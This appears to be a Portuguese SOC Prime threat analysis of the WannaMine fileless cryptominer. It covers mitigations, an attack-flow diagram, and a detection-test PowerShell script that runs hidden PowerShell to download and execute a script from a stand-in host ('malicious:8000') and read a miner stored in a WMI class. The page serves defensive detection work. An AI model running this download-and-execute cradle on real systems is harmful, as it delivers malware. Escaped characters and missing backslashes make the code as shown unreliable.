SOC Prime Bias: Crítico

14 Jan 2026 18:14

Análise do Cryptominer WannaMine: Execução e Persistência Sem Arquivos

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Análise do Cryptominer WannaMine: Execução e Persistência Sem Arquivos
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumo

WannaMine é um worm de criptomineração sem arquivos que depende de ferramentas já existentes no sistema operacional—principalmente PowerShell e Instrumentação de Gerenciamento do Windows (WMI)—para permanecer residente em memória e minerar Monero.

Investigação

WannaMine é entregue através de e-mails de phishing contendo arquivos de lote maliciosos ou explorando a vulnerabilidade SMB EternalBlue. Para persistência, ele registra assinaturas de eventos WMI e armazena PowerShell codificado em classes WMI personalizadas.

Mitigação do WannaMine

Previna a exploração do EternalBlue aplicando patches no SMB (MS17-010). Restrinja a execução e monitoramento do PowerShell, observe a criação incomum de classes WMI e consumidores de eventos, e aplique o princípio de privilégio mínimo para limitar o uso indevido de credenciais.

Resposta

Alerte sobre comportamentos anormais de PowerShell/WMI, isole os hosts impactados, remova consumidores/assinaturas de eventos WMI maliciosos, rotacione credenciais potencialmente expostas e realize uma análise de memória para confirmar o minerador em memória.

“graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Nodes u2013 Actions action_phishing[“<b>Ação</b> – <b>T1566.001 Phishing</b>: Anexo de spearphishing entregando um arquivo em lote malicioso”] class action_phishing action action_user_exec[“<b>Ação</b> – <b>T1204 Execução pelo Usuário</b>: A vítima executa o arquivo em lote que inicia o PowerShell”] class action_user_exec action action_powershell_exec[“<b>Ação</b> – <b>T1059.001 PowerShell</b>: Script PowerShell oculto determina a arquitetura do SO e baixa a carga útil”] class action_powershell_exec action action_wmi_persistence[“<b>Ação</b> – <b>T1546.003 Assinatura de Evento WMI</b>: Malware cria classes WMI personalizadas e registra consumidores de eventos”] class action_wmi_persistence action action_pass_the_hash[“<b>Ação</b> – <b>T1550.002 Pass the Hash</b>: Hashes NTLM extraídos são reutilizados”] class action_pass_the_hash action action_wmiexec[“<b>Ação</b> – <b>Movimento Lateral via WMIExec</b>: Hashes usados para executar PowerShell em hosts remotos”] class action_wmiexec action action_eternalblue[“<b>Ação</b> – <b>T1210 Exploração de Serviços Remotos</b>: EternalBlue (MS17u2011010) usado quando a reutilização de hashes falha”] class action_eternalblue action action_defense_evasion[“<b>Ação</b> – <b>T1550 Uso de Material de Autenticação Alternativo</b>: Reutilização de hashes roubados evita prompts de credenciais”] class action_defense_evasion action action_compute_hijacking[“<b>Ação</b> – <b>T1496.001 Sequestro de Computação</b>: Sistema configurado para minerar criptomoeda Monero”] class action_compute_hijacking action action_power_settings[“<b>Ação</b> – <b>T1653 Configurações de Energia</b>: Gerenciamento de energia alterado para evitar hibernação e manter a mineração ativa”] class action_power_settings action %% Nodes u2013 Tools and Malware file_batch[“<b>Ferramenta</b> – <b>Nome</b>: Arquivo de Lote Malicioso<br /><b>Descrição</b>: Contêiner para comando inicial do PowerShell”] class file_batch tool tool_powershell[“<b>Ferramenta</b> – <b>Nome</b>: PowerShell<br /><b>Descrição</b>: Motor de script usado para download e execução”] class tool_powershell tool tool_wmi[“<b>Ferramenta</b> – <b>Nome</b>: Instrumentação de Gerenciamento do Windows<br /><b>Descrição</b>: Registra assinaturas de eventos para persistência”] class tool_wmi tool tool_mimikatz[“<b>Ferramenta</b> – <b>Nome</b>: Módulo Mimikatz<br /><b>Descrição</b>: Extrai hashes NTLM da memória”] class tool_mimikatz tool tool_wmiexec[“<b>Ferramenta</b> – <b>Nome</b>: WMIExec<br /><b>Descrição</b>: Executa comandos em máquinas remotas via WMI”] class tool_wmiexec tool exploit_eternalblue[“<b>Ferramenta</b> – <b>Nome</b>: Exploit EternalBlue<br /><b>Descrição</b>: Explora vulnerabilidade SMB MS17u2011010”] class exploit_eternalblue tool malware_payload[“<b>Malware</b> – <b>Nome</b>: Carga Útil Personalizada<br /><b>Descrição</b>: Componente baixado que realiza mineração”] class malware_payload malware process_download[“<b>Processo</b> – <b>Nome</b>: Download de Carga Útil Remota<br /><b>Descrição</b>: Recupera binário apropriado para arquitetura do SO”] class process_download process process_mining[“<b>Processo</b> – <b>Nome</b>: Minerador de Monero<br /><b>Descrição</b>: Consome ciclos de CPU para mineração de criptomoedas”] class process_mining process %% Connections u2013 Attack Flow action_phishing u002du002d>|entrega| file_batch file_batch u002du002d>|executado_pelo_usuário| action_user_exec action_user_exec u002du002d>|triggers| action_powershell_exec action_powershell_exec u002du002d>|usa| tool_powershell action_powershell_exec u002du002d>|baixa| process_download process_download u002du002d>|armazena_como| malware_payload malware_payload u002du002d>|cria| action_wmi_persistence action_wmi_persistence u002du002d>|utiliza| tool_wmi action_wmi_persistence u002du002d>|extrai_hashes_com| tool_mimikatz tool_mimikatz u002du002d>|habilita| action_pass_the_hash action_pass_the_hash u002du002d>|habilita| action_wmiexec action_pass_the_hash u002du002d>|reverte_para| action_eternalblue action_wmiexec u002du002d>|executa_movimento_lateral| process_mining action_eternalblue u002du002d>|explora| exploit_eternalblue exploit_eternalblue u002du002d>|ganha_acesso_para| process_mining process_mining u002du002d>|leva_a| action_defense_evasion action_defense_evasion u002du002d>|habilita| action_compute_hijacking action_compute_hijacking u002du002d>|modifica| action_power_settings “

Fluxo de Ataque

Execução de Simulação

Pré-requisito: A Verificação de Telemetria & Linha de Base deve ter sido concluída com sucesso.

Justificativa: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para ativar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e têm como objetivo gerar a telemetria exata esperada pela lógica de detecção.

  • Narrativa & Comandos do Ataque:
    Um atacante obtém execução remota de código em um endpoint Windows. Para evitar interação do usuário, eles lançam o PowerShell em uma janela oculta (-W Hidden) sem perfil (-NoP) e não interativo (-NonI). O comando usa IEX para baixar uma carga PowerShell de um servidor HTTP malicioso (http://malicious:8000/in6.ps1). O script baixado registra uma classe WMI chamada Office_Updater sob rootdefault que armazena uma propriedade mon contendo um minerador Monero codificado em Base64. O atacante então lê a propriedade via [WmiClass] e a invoca, lançando efetivamente o criptominador sem criar um novo processo. Esta sequência corresponde às três substrings de linha de comando da regra de detecção.

  • Script de Teste de Regressão:

    #-------------------------------------------------
    # Simular execução de criptominador sem arquivos WannaMine
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. Execução do PowerShell oculto e não interativo
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # Invocar o comando (isto é o que o atacante executaria)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # Nota: Pressupõe-se que o script remoto (in6.ps1) cria a classe WMI
    # com uma propriedade "mon" contendo o código de mineração.
  • Comandos de Limpeza:

    # Remover a classe WMI maliciosa
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # Parar quaisquer processos PowerShell mineradores restantes (se algum foi lançado)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # Opcional: Limpar arquivos de transcrição/log do PowerShell criados durante o teste
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue